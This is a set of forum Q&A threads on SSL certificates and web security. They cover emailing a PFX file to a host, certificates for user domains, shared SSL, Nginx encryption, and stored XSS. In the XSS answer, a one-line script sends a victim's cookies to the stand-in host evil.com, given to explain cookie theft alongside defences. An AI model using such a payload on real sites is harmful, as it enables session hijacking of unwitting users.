We utilize an outside vendor for hosting our WordPress site. The SSL certificate will expire soon and they have requested that I send them the contents of the PFX file, unencrypted, to them via email. The PFX file contains the KEY file and the CRT file. Our SSL is a wildcard for our domain; the same key is used to protect our VPN and another web server which I manage. We do not use it to sign any code.
If I have to share this/these files, I'd much prefer to do it by way of OneDrive or Google drive, but the host service person says that emailing presents no risks since an attacker would need to get into our DNS to make use of it.
Am I justified in pushing back on this? I find it weird that they haven't even offered to send it encrypted and provide the passcode via another mechanism.
TIA
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I’m building a web application where users can create their own websites. Users have the option to point their own domain names at these sites. A prototype for the application already exists; Apache accepts requests on all hostnames and the actual domain mapping and resolution happen at the application level (a simple database lookup grabs the site that matches the requested hostname).
Where I’m stuck is how users’ SSL certificates might fit into this equation. What steps would I need to take to allow a user to upload their SSL certificate such that the application could successfully handle secure HTTP requests to their hostname? Is this even something the application alone could handle?
I think you cannot handle this in your application alone.
It's a CA problem, except you are an intermediate CA company, or you cannot get the user's domain SSL certificate and sign for user's domain.
The typical user, and IMHO even more the user's who are going to create a web site of this system as opposed to setting up their own WordPress or other site on their own server (or their own paid shared server hosting account), will have absolutely no idea how to setup a proper SSL certificate, so getting it to your securely so that you can install it wouldn't even be an issue because they will never get that far.
However, you should be able to use Let's Encrypt to do exactly what you need. As part of the process of adding a domain, once the domain is pointing to your server (the users will have to figure out how to do that with their domain registrar), you can create a Let's Encrypt certificate and validate it. My favorite web hosting company (I won't name it as that is not relevant - anyone can do this with some effort) provides this capability as part of their Control Panel. They also provide paid certificates with a few of the big issuers, as they have for many years, but for most small sites Let's Encrypt works very well and is totally free. The setup literally takes only a minute. The key is that you have to give the user an IP address or CNAME first so that they can point the domain. Once the domain is resolving to your server, you can get the Let's Encrypt certificate.
Is it possible to create a common pem file in softlayer to access all the machines in on VLAN from UI itself.
I have looked in all the configuration panels but wasnt able to find this setting.
I wanted to check with other users who might have created pem file to keep a common access credential login in all the machines.
I did not have the experience of working with this, but I can suggest to send an email to PortalFeedBack#softlayer.com, in order that they can provide more information about it or if it can be consider to implement.
I want to encrypt a big static file on the server with Nginx when it's serving it. I want the encryption to be done with the public key sent in the request as a header and I want this endpoint to be accessible only to specific users (if someone finds the url, he should get access denied if he's not allowed to access the file.) I want Nginx to serve these encrypted files with random access.
First question: Is it possible at all? (for the authorization part I'm all ears to know if there's any solution, my authentication and authorization is done in Django, session keys stored in postgre, but I have no idea if it's feasible to share it with nginx.) Can a lua plugin for nginx read session data from postgre (or redis) and do the authorization checks with good performance?
Second question: How?
One possible solution I though about is using different certificate files (generated with passwords by django) to serve files as https. But I have no idea if it's possible to use different certificate files dynamically generated based on URI or not and I have no idea if nginx can serve files with asymmetric encryption over https or if https protocol supports it at all even if client is a custom client other than normal browsers than can parse data whatever way needed.
Another possible solution is writing a Lua plugin for Nginx but that'd be extremely expensive solution for me considering my resources. But I'd be thankful if someone could tell me if it's possible at all even with a custom plugin or not.
I know xss attack usees input points of a page to insert javascript code into the page or into server db.
In both cases the javascript code will be activated soon or later on some events.
I imagine an attacker that uses a browser to put javascript code into a server db using maybe an input name.
Another client(victim) makes a request to the same server , maybe it asks for the user classific.
The attacker is in classific , so the attacker name(actually evil javascript code) is inserted in the page the victim requested.
The question is what information can the attacker steal and how?
I imagine the attacker wants to get cookies. And I imagine he wants include one his evil script with the javascript code injected.
In this way he can pass to the jsp/asp or whatever information about cookies.
So if the site is in https , it's possible to include scripts which are in http server?
I don't believe the attacker uses https server to store his scripts because it could be soon easily arrested.
Or maybe there are other ways for the attacker to get information?
I imagine the attacker wants to get cookies. And I imagine he wants include one his evil script with the javascript code injected. In this way he can pass to the jsp/asp or whatever information about cookies.
The question is what information can the attacker steal and how?
Yes, the easiest type of attack would be to steal non HttpOnly cookies.
<script>
new Image().src = 'https://www.evil.com/?' + escape(document.cookie);
</script>
Other attacks include injecting JavaScript keyloggers that send key strokes back to the attacker in a similar fashion, or redirecting the user to phishing sites or to sites containing drive by downloads.
So if the site is in https , it's possible to include scripts which are in http server? I don't believe the attacker uses https server to store his scripts because it could be soon easily arrested.
Interesting question. Yes, the site being HTTPS does not reduce the chances of an XSS flaw. They would need to host their attacking page on a HTTPS enabled web server with a certificate trusted by their victim's machine. This could either be the attackers own machine with a cheap SSL certificate paid for by BitCoin where only the domain is validated (not the organisation), it could be an already compromised machine (e.g. if the attacker already has control over another public website), or it could be a stolen certificate from another hacked site that the attacker is now using on their domain (in combination with a DNS hijack or MITM). Edit: Now it is possible to get free certs from the likes of Let's Encrypt and similar.
Little security is required to get a Domain Validated certificate:
Low assurance certificates include only your domain name in the
certificate. Certificate Authorities usually verify that you own the
domain name by checking the WHOIS record. The certificate can be
issued instantly and is cheaper but, as the name implies, these
certificates provide less assurance to your customers.
You can use a Web Application Firewall to scan and block XSS, including in cookies (though the latter can cause false positives) https://medium.com/p/5d4b1d33219a/edit
For AWS WAF refer to https://aws.amazon.com/waf/
I was recently looking around at some of the features my current web host offers, and am now wondering about a few things. Even if you can only answer part of this, I appreciate any help you can provide.
I have a domain, mydomian.com, and the host offers shared SSL so I can use HTTPS by using this address https://mydomain.myhost.com. The SSL certificate is good for *.myhost.com.
I don't know a lot about SSL, but I'm assuming this means that the data between site users and ANY domain on myhost.com is encrypted. So was curious if this meant that if someone else on the same host as me somehow intercepted the data from my site would they be able to view it, since they would also have a https://theirdomain.myhost.com address, which uses the same SSL certificate? I may have no idea at all, and this was pretty much a guess.
If HTTPS is used on a login page, but after logging in the other pages are viewed over HTTP, is this a security issue?
Is there any way to show a web form via HTTP for bots like Google, but have real users redirected to the HTTPS version? Would be ideal if this could be done via .htaccess. I currently have some rewrite rules that redirect certain pages to HTTPS, but the rest as HTTP. So if a visitor visits the contact form they get the HTTPS version automatically, but it automatically switches back to HTTP for pages that don't contain forms. So, via htaccess, is there a way to direct real users to the HTTPS version, but have bots directed to the HTTP version? I would like these pages to still be indexed by the search engines, but would like users to see it via HTTPS.
Thanks in advance for any help you can provide.
I'm going to guess you'll be okay for number one. If your host does it correctly, individual subdomains never get to see the SSL keys. Here's how it would work:
Some guy with a browser sends an encrypted request to your subdomain server.
Your host's master server receives the request and decrypts it.
The master server sends the decrypted request to your subdomain server.
And any HTTPS responses you send back go through that process in reverse. It should be easy to check if they've set things up that way: If you can set up shared SSL without personally handling any key files, you're good. If you actually get your hands on some key files... not good.
For two: If you encrypt the login, you protect the passwords, which is good. But if you switch back to HTTP afterwards, you open yourself up to other attacks. See: Firesheep. There may be others.
And for three. Yes - definitely doable. Check out mod_rewrite. Can't give you an example, as I've never used this particular case, but I can point you to this page - particularly the section entitled "Browser Dependent Content."
Hope that helps!
Every traffic is encrypted, when you use https:// as protocol. (Except for some uncommon circumstances I won't talk about here). An SSL certificate's purpose is to prove the identity of the server, by combining it's public key with an identity. This certificate is only usable with the private key that belongs to the public one. In your case it seems that this certificate as well as the key-pair is provided by your hosting provider. I guess that neither you nor the other customers on the host have access to this private key. That means that only your provider is able to decrypt the traffic. Since that's always the case (he's running the server, so has access to every data), that should be no problem.
In most cases it is a security issue. On every further unencrypted http-request the client has to provide some information of the session to the server. These can be intercepted and used by an attacker. (simply speaking)
The bots should support https, why not redirect them? Anyhow: The important part is not to provide the page containing the form via https. To protect your user's data you should take care that the response is transferred via https.